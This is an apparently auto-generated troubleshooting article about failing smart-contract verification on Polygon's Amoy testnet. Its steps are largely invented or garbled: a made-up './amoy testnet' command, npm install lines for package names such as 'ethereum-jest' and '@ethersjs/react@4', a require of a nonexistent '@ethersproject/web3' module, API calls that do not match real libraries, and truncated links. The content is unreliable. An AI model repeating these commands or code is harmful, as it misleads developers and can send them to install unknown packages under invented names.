Ethereum: Unable to Verify Contracts on Polygon AMOY Testnet
As a developer, you’ve likely deployed contracts on various Ethereum testnets, including Polygon’s AMOY testnet. However, upon trying to verify your smart contracts, you’re encountering an error that prevents you from successfully validating their functionality. In this article, we’ll delve into the issue and provide steps to solve it.
Error Details
The error message typically indicates that the Ethereum Virtual Machine (EVM) is unable to validate the contract code for some reason. The exact error message might vary depending on the specific testnet and contract deployment.
Solutions
Here are some possible solutions to help you resolve the issue:
1. Check Contract Compilation Options
Ensure that your contract compilation options are correct, especially when using the --bin flag. If the --bin option is set to a value other than path/to/contract bytecode, it may cause issues with contract verification.
./amoy testnet --bin path/to/your_contract_bytecode --from your_account_address
2. Update EVM Compiler
Make sure you’re using the latest version of the EVM compiler, as updates can sometimes resolve known issues.
npm install --save-dev ethereum-jest @ethersjs/react@4
or yarn add --dev ethereum-jest @ethersjs/react@4
3. Check for Ethers.js Version Incompatibilities
If you’re using a specific version of the Ethers.js library, ensure it’s compatible with your contract deployment.
const Web3 = require("@ethersproject/web3");
Check the [Ethers.js documentation]( for compatibility notes and updates.
4. Run Testnet in Debug Mode
Try running the testnet in debug mode to see if it resolves the issue:
const Web3 = require("@ethersproject/web3");
const ethers = new Web3("
// Deploy contract on AMOY testnet
const deployContract = async () => {
try {
// Deploy contract code.
const contractAddress = await ethers.deployed("YourContractName");
// Verify contract on AMOY testnet using debug mode
await contractAddress.verify("YourVerificationCode");
} catch ( error ) {
console.error(error);
}
};
5. Check Contract Code for Syntax Errors
Ensure that your contract code is free of syntax errors, as these can prevent EVM from validating contracts.
6. Contact Support or Reach Out to the Community
If none of the above steps resolve the issue, consider reaching out to the Ethereum and AMOY communities for assistance or seeking help from a qualified developer.
By following these troubleshooting steps, you should be able to identify and resolve the issue preventing your contract from verifying on Polygon’s AMOY testnet.
